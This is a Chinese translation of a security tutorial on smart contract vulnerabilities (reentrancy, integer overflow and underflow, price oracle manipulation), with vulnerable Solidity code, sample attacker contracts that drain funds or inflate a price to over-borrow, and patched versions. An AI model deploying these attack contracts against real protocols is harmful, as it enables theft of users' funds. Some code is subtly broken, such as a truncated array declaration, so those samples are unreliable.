本文探讨了Web3开发中常见的智能合约漏洞,并提供了防范措施。文章详细分析了重入攻击、数据溢出和下溢,以及价格预言机操纵这三种经典漏洞的原理、攻击方式和修复方法。此外,文章还介绍了Chainlink等工具在降低预言机操纵风险方面的应用,强调了安全第一的开发理念。
关于 web3 开发解决方案的讨论很多,但仅仅编写代码并假设一切都能在主网上正常运行真的足够吗?当然不是!与 web2 不同,web2 开发者可以快速修复漏洞,而且通常不会立即产生经济影响,而 web3 开发从第一天起就涉及真正的货币风险。一旦部署,链上的智能合约就很难更改。在本文中,我们将探讨每个区块链开发者在编写和部署智能合约之前都应该理解的三个经典漏洞。
你的 dApp 是否足够安全以在链上运行?
本文详细介绍的漏洞旨在强调在可能发生黑客攻击的各种情景中谨慎的重要性。首先是众所周知的 重入攻击。尽管这是一个有据可查的攻击,但即使在今天,它仍然是攻击者从智能合约池中耗尽资金的最常见方式之一。其次是 Calldata 下溢和溢出损坏,它强调了持续审计和正确使用安全数学实践的必要性。第三是 价格预言机操纵,它演示了不可靠的数据源如何被利用,以及像 Chainlink 预言机这样的工具如何帮助减轻这些风险。
下图表示了开发者在 2025 年应该注意的主要攻击向量:
来源: https://owasp.org/www-project-smart-contract-top-10/
你可以在第五个位置观察到 重入攻击。即使它是一个旧的攻击向量,但即使在今天仍然非常普遍。整数溢出和下溢 排名第八,但如下所示,最近 1inch 受到了影响。价格预言机操纵 是一种相对较新但越来越受欢迎的攻击向量,现在占据第二位。
下图显示了 web3 生态系统中因智能合约攻击而损失的总价值的图表:
来源: https://solidityscan.com/web3hackhub
要了解有关攻击以及每个漏洞如何运作的更多信息,你可以访问 rekt.news。该网站提供了真实攻击的详细分解,帮助你了解导致数百万甚至数十亿美元损失的重大攻击。
到目前为止,你应该清楚地了解为什么以 安全至上的思维模式 构建智能合约对于降低漏洞风险至关重要。现在让我们检查三种常见的攻击模式,以及如何降低它们在你自己的智能合约中发生的风险。
最著名的漏洞,也是每个 web3 开发者从一开始就必须理解的,就是 重入攻击。这种漏洞允许黑客循环重复调用合约的 withdraw 函数,在合约更新用户的余额之前耗尽所有资金。
这是一个经典的漏洞。2016 年,臭名昭著的 DAO 黑客攻击利用了它,导致损失超过 6000 万美元。尽管有据可查且相对容易预防,但重入攻击仍然是当今最频繁和最具破坏性的漏洞之一。这就是为什么它在本文中占有一席之地。事实上,在 2023 年上半年发生的 24 起重大漏洞中,重入攻擊佔了 4 起。
以下是重入攻击的工作方式:想象一个有 10 ETH 的合约池。攻击者存入 1 ETH。如果合约在进行外部调用以转移 ETH 之前没有更新余额,攻击者可以在余额更新之前递归调用 withdraw 函数,从而有效地耗尽合约。
以下是一个易受攻击代码的示例。请注意,balances[msg.sender] 仅在发送 ETH 后才被重置:
contract DepositFunds {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
// Vulnerable point — external call before balance update
// 易受攻击的点 - 在余额更新之前进行外部调用
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
}
// source: https://hackernoon.com/hack-solidity-reentrancy-attack
为什么会发生重入攻击?
发生重入攻击是因为合约没有立即更新用户的余额。相反,它会等到函数执行完毕后再更新余额。这种延迟造成了一个漏洞,允许攻击者在余额更新之前递归调用 withdraw 函数,从而耗尽合约池。
以下是一个执行攻击的 恶意合约 的示例:
contract Attack {
DepositFunds public depositFunds;
constructor(address _depositFundsAddress) {
depositFunds = DepositFunds(_depositFundsAddress);
}
// Fallback is called when DepositFunds sends Ether to this contract.
// 当 DepositFunds 将 Ether 发送到此合约时,会调用 Fallback。
fallback() external payable {
if (address(depositFunds).balance >= 1 ether) {
depositFunds.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
depositFunds.deposit{value: 1 ether}();
depositFunds.withdraw();
}
}
// source: https://hackernoon.com/hack-solidity-reentrancy-attack
为了帮助可视化这一点,想象一家上午 10 点开门、下午 4 点关门的银行。银行经理只在一天结束时更新余额。知道这一点后,一个恶意的人早上存入 5,000 美元,然后在下午 4 点之前多次提款。当经理最终更新记录时,已经太晚了。银行余额已被攻击者耗尽。
你可能会问:我如何预防这种情况?
有一些方法可以缓解此漏洞,并且根据代码逻辑,这可能非常简单。关键是在进行任何外部调用之前更新用户的余额,你可以使用 CEI 模式(检查、效果和交互)。请参阅下面的安全代码示例:
contract SafeDepositFunds {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 bal = balances[msg.sender];
// ✅ Check: ensure the user has balance
// ✅ 检查:确保用户有余额
require(bal > 0, "Insufficient balance");
// ✅ Effects: update state before external call
// ✅ 效果:在外部调用之前更新状态
balances[msg.sender] = 0;
// ✅ Interactions: make the external call last
// ✅ 交互:最后进行外部调用
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
}
}
但是,根据你的合约逻辑的复杂性,使用 CEI 可能不可行。在这些情况下,建议使用 OpenZeppelin 的 ReentrancyGuard,这是一个可靠且易于使用的修饰符,可保护你的函数免受重入调用的影响。你可以单击 此处阅读有关 OpenZeppelin 的 ReentrancyGuard 的更多信息。
当由于超出数据类型限制的计算而发生算术错误时,会发生此类漏洞。攻击者可以通过迫使整数超出其最大或最小范围来利用这一点,从而导致下溢或溢出。
例如,如果你使用的是 uint8,则它可以存储的最大值为 255。如果 valuw 为 255,并且你尝试将其递增 1,则会溢出并环绕回 0。类似地,如果值为 0 并且你减去 1,则会下溢并环绕到 255。
本文中的这个漏洞是为了解释为什么持续审计你的智能合约至关重要。即使经过多次审计,也可能会遗漏错误。例如,在 2025 年 3 月 13 日,1inch 遭受了一次 500 万美元的漏洞攻击,该漏洞是由于算术错误导致的数据损坏下溢造成的。该合约已经过九次审计,但问题仍然存在。这提醒我们,不推荐使用的代码并不总是意味着安全的代码,并且安全是一个持续的过程,而不是一次性事件。
让我们看一个易受攻击的合约的基本示例:
contract UnderflowOverflowDemo {
uint8 public value = 0;
// Vulnerable: causes underflow if value == 0
// 易受攻击:如果 value == 0,则会导致下溢
function decrement() public {
value -= 1; // underflow if value == 0 (wraps to 255)
// 如果 value == 0,则下溢(环绕到 255)
}
// Vulnerable: causes overflow if value == 255
// 易受攻击:如果 value == 255,则会导致溢出
function increment() public {
value += 1; // overflow if value == 255 (wraps to 0)
// 如果 value == 255,则溢出(环绕到 0)
}
}
为了缓解此问题,你应该在执行算术运算之前添加检查:
contract SafeDefault {
uint8 public value = 0;
function decrement() public {
require(value > 0, "Cannot underflow");
// 需要(value > 0, "不能下溢")
value -= 1;
}
function increment() public {
require(value < type(uint8).max, "Cannot overflow");
// 需要(value < type(uint8).max, "不能溢出")
value += 1;
}
}
1inch 的黑客攻击是更复杂的代码,因为它使用了 Yul,一种用于以太坊智能合约开发的低级语言。Yul 为开发者提供了更多的控制权,但也增加了如果不小心处理低级错误的风险。
要了解有关 Yul 的更多信息,你可以阅读 Fuel Labs 的这篇文章。有关 1inch 黑客攻击的详细分析,请查看 rekt.news 上的报告。
区块链无法直接访问链下数据,也无法轻松地在不同链之间传输数据。这被称为 预言机问题。为了解决这个问题,创建了预言机协议,以实现跨系统和链的互操作性,允许智能合约访问真实世界的数据,例如价格、天气或体育赛事结果以及跨链通信。
然而,新的解决方案通常会带来新的漏洞,其中之一就是 价格预言机操纵 攻击。
当攻击者操纵资产的价格源以获得不公平的优势时,就会发生此漏洞。例如,如果一个代币应该价值 1.00 美元,攻击者可以将其膨胀到 1.20 美元,并在交易或借贷操作中每个代币获利 0.20 美元。
真实案例:Mango Markets 的漏洞利用
最近发生的一个预言机操纵的例子发生在 2023 年 1 月 20 日,甚至在 SEC.gov 上也有报道。在这种情况下,攻击者 Avraham Eisenberg 利用 Mango Markets 并窃取了大约 1.16 亿美元。
以下是攻击的运作方式:
初始设置:
Eisenberg 在 Mango Markets 的两个不同账户中存入了 1000 万美元的 USDC。
价格操纵:
使用一个账户,他出售了大量的 MNGO(Mango 的代币),同时用他的第二个账户回购了它。这创造了一种人为的需求,导致 MNGO 的价格迅速飙升。
价格膨胀:
由于该协议使用这种被操纵的价格作为参考,他的第二个账户突然显示出超过 4 亿美元的虚假价值。
抵押借贷:
他使用这个被人为抬高的账户作为抵押品来借用其他有价值的代币,从而耗尽了 Mango Markets 的几乎所有流动资产。
崩溃:
一旦操纵结束,MNGO 的真实市场价值就崩溃了。
来源: https://www.cyfrin.io/blog/price-oracle-manipulation-attacks-with-examples
以下是一个关于价格预言机操纵如何运作的简单示例:
假设你的智能合约依赖于像 Uniswap 这样的 DEX(去中心化交易所)价格源。如果有人可以通过进行大量交换来操纵流动性池,他们可以人为地提高或降低代币价格。
// Vulnerable Oracle + Lending Setup Interfaces
// 易受攻击的预言机 + 借贷设置接口
interface IOracle {
function getPriceOfToken() external view returns (uint256);
}
interface IDeFiLendingPlatform {
function borrowFunds(uint256 amount) external;
function withdrawBorrowedFunds() external;
}
interface IDeFiTradingPlatform {
function trade() external payable;
}
// Import Manipulation Contract
// 导入操纵合约
import "./MarketManipulator.sol";
// Attacker Contract
// 攻击者合约
contract OracleAttack {
IDeFiTradingPlatform public tradingPlatform;
IOracle public priceOracle;
IDeFiLendingPlatform public lendingPlatform;
MarketManipulator public marketManipulator;
constructor(
address _tradingPlatform,
address _priceOracle,
address _lendingPlatform,
address _marketManipulator
) {
tradingPlatform = IDeFiTradingPlatform(_tradingPlatform);
priceOracle = IOracle(_priceOracle);
lendingPlatform = IDeFiLendingPlatform(_lendingPlatform);
marketManipulator = MarketManipulator(_marketManipulator);
}
function attack() external payable {
// Step 1: Manipulate the market by inflating the token price
// 步骤 1:通过抬高代币价格来操纵市场
marketManipulator.manipulateMarket{value: msg.value}();
// Step 2: Exploit the lending platform by borrowing based on inflated price
// 步骤 2:通过根据抬高的价格借款来利用借贷平台
uint256 inflatedPrice = priceOracle.getPriceOfToken();
lendingPlatform.borrowFunds(inflatedPrice);
// Step 3: Withdraw the borrowed funds
// 步骤 3:提取借入资金
lendingPlatform.withdrawBorrowedFunds();
}
// Allow this contract to receive ETH
// 允许此合约接收 ETH
receive() external payable {}
}
// Market Manipulation Contract
// 市场操纵合约
interface IUniswapV2Router {
function WETH() external pure returns (address);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
}
contract MarketManipulator {
IUniswapV2Router public uniswapRouter;
address public mangoTokenAddress;
constructor(address _uniswapRouter, address _mangoTokenAddress) {
uniswapRouter = IUniswapV2Router(_uniswapRouter);
mangoTokenAddress = _mangoTokenAddress;
}
function manipulateMarket() external payable {
address ;
path[0] = uniswapRouter.WETH(); // Swap from ETH
// 从 ETH 交换
path[1] = mangoTokenAddress; // To Mango token
// 到 Mango 代币
// Swap ETH for Mango tokens, no minimum amount required (high slippage)
// 将 ETH 交换为 Mango 代币,不需要最低金额(高滑点)
uniswapRouter.swapExactETHForTokens{value: msg.value}(
0, // Accept any amount of Mango tokens
// 接受任何数量的 Mango 代币
path,
msg.sender, // Send tokens to the attacker
// 将代币发送给攻击者
block.timestamp
);
}
}
为了减轻这些风险,你可以使用一些安全解决方案,例如 Chainlink CCIP、数据馈送和价格馈送。
了解风险管理网络和预言机安全
Chainlink 还包括一个额外的保护层:风险管理网络 (RMN),它引入了五个级别的预言机安全。该系统确保去中心化环境中数据的可靠性和执行安全性。
风险管理网络 作为一个并行的链下系统运行,该系统验证通过 CCIP(Chainlink 的跨链协议)传递的消息。它通过重建和比较跨链消息中的 Merkle 根来执行独立的验证。如果验证成功,则 Merkle 根将被认定为有效,并且可以执行该消息。如果检测到异常(例如双重执行或终结违规),系统将标记该协议,自动暂停该特定链的 CCIP,直到手动审查和解决该问题。
Chainlink 中的这五个级别的预言机安全包括:
通过利用 Chainlink 的全套工具(包括 CCIP、价格馈送和风险管理网络),你可以保护你的智能合约免受各种与预言机相关的攻击,从而确保你的去中心化应用程序具有更高的可靠性和信任度。
以下是在你的应用中实施 Chainlink 解决方案以减轻风险的简单示例。
// Secure Lending Protocol with Chainlink Price Feed
// 使用 Chainlink 价格馈送的安全借贷协议
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract SecureLending {
AggregatorV3Interface public priceFeed;
mapping(address => uint256) public collateral;
mapping(address => uint256) public debt;
constructor(address _priceFeed) {
priceFeed = AggregatorV3Interface(_priceFeed); // e.g., ETH/USD or MANGO/USD
// 例如,ETH/USD 或 MANGO/USD
}
function depositCollateral() external payable {
require(msg.value > 0, "Deposit must be greater than 0");
// 需要存款大于 0
collateral[msg.sender] += msg.value;
}
function getLatestPrice() public view returns (int256) {
(, int256 price, , , ) = priceFeed.latestRoundData();
return price; // Example: 2000_00000000 (ETH/USD with 8 decimals)
// 示例:2000_00000000(ETH/USD,带 8 位小数)
}
function borrow(uint256 usdAmount) external {
int256 price = getLatestPrice();
require(price > 0, "Invalid price feed");
// 需要价格 > 0,无效的价格馈送
// Convert user's collateral in ETH to USD
// 将用户在 ETH 中的抵押品转换为 USD
uint256 usdCollateral = (collateral[msg.sender] * uint256(price)) / 1e8;
// Allow borrowing up to 60% of collateral
// 允许借入高达 60% 的抵押品
require(usdAmount <= (usdCollateral * 60) / 100, "Exceeds collateral limit");
// 需要 usdAmount <= (usdCollateral * 60) / 100,超过抵押品限额
debt[msg.sender] += usdAmount;
// ... send stablecoins or synthetic tokens (omitted for brevity)
// ... 发送稳定币或合成代币(为简洁起见,省略)
}
function repay() external payable {
// Assume repayment logic is handled off-chain or through another token
// 假设还款逻辑是在链下或通过另一个代币处理的
}
}
// Chainlink CCIP for Cross-Chain Loan or Liquidation Notifications
// 用于跨链贷款或清算通知的 Chainlink CCIP
import "@chainlink/contracts/src/v0.8/ccip/CCIPReceiver.sol";
contract CrossChainReceiver is CCIPReceiver {
constructor(address _router) CCIPReceiver(_router) {}
// Handle cross-chain messages (e.g., alert liquidation, bridge tokens)
// 处理跨链消息(例如,警报清算,桥接代币)
function _ccipReceive(Client.Any2EVMMessage memory message) internal override {
// Parse sender, data, etc.
// 解析发送者、数据等
(address user, string memory action) = abi.decode(message.data, (address, string));
if (keccak256(bytes(action)) == keccak256("liquidate")) {
// Trigger logic to handle user liquidation
// 触发逻辑来处理用户清算
}
}
}
成为一名智能合约开发者是一个很好的职业机会,但 请记住,能力越大,责任越大。
在这个角色中,最重要的责任之一是对安全开发实践的承诺。始终优先考虑安全性,遵循最佳编码标准,并意识到即使是经过多次审计的代码也可能存在漏洞。
在本文中,我们探讨了重入、下溢/溢出错误和价格预言机操纵等漏洞,以及如何通过使用诸如 CEI(检查、效果和交互)等安全编码实践和诸如 Chainlink 价格馈送等工具来减轻智能合约开发中的这些错误。
如果你在阅读完本文后认为安全性是智能合约开发者最重要的技能,那么我很高兴,因为这种思维模式可以构建更安全的 Web3 生态系统。
本文是 以太坊开发者包 的最终作品的一部分,该项目由 ETH Kipu 提供,并由 ERC55、77 Innovation Labs 和 77 Educational Labs 提供支持。该课程由 Barba 教授 授课,并得到了 Romina Sejas、Robson Silva 和 Thiago Rocha 的宝贵支持。
此外,我通过 Chainlink Labs 课程 扩展了我的知识,这有助于理解安全预言机实施和去中心化数据集成。
我很高兴与我的同事 Vinicius Ciscoto、Gustavo Gialluisi、Luciano Grossi、Eduardo Viegas、Leonardo Godoy、Francis Wagner、Moises Araujo、Pedro Nascimento、Antonio Quental、Raffaela Loffredo、Thiago Jolvino、Allan e Vitor 分享时刻并互相学习。
https://edp.ethkipu.org/modulo-5/seguridad-pruebas-y-auditoria/seguridad
https://solodit.cyfrin.io/?b=false&f=&fc=gte&ff=&fn=1&i=&p=1&pc=&r=all&s=&t=
https://hackernoon.com/hack-solidity-reentrancy-attack
https://101blockchains.com/reentrancy-attack/
https://blog.decurity.io/yul-calldata-corruption-1inch-postmortem-a7ea7a53bfd9
https://www.cyfrin.io/blog/price-oracle-manipulation-attacks-with-examples
https://www.sec.gov/newsroom/press-releases/2023-13
https://docs.chain.link/data-feeds/price-feeds
https://chain.link/education-hub/oracle-problem
https://learnblockchain.cn/article/14592
https://cybersecuritynews.com/owasp-top-10-2025-smart-contract/
https://fuellabs.medium.com/introducing-yul-a-new-low-level-language-for-ethereum-aa64ce89512f
https://chain.link/education-hub/market-manipulation-vs-oracle-exploits
https://solidityscan.com/web3hackhub
- 原文链接: coinsbench.com/is-your-d...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!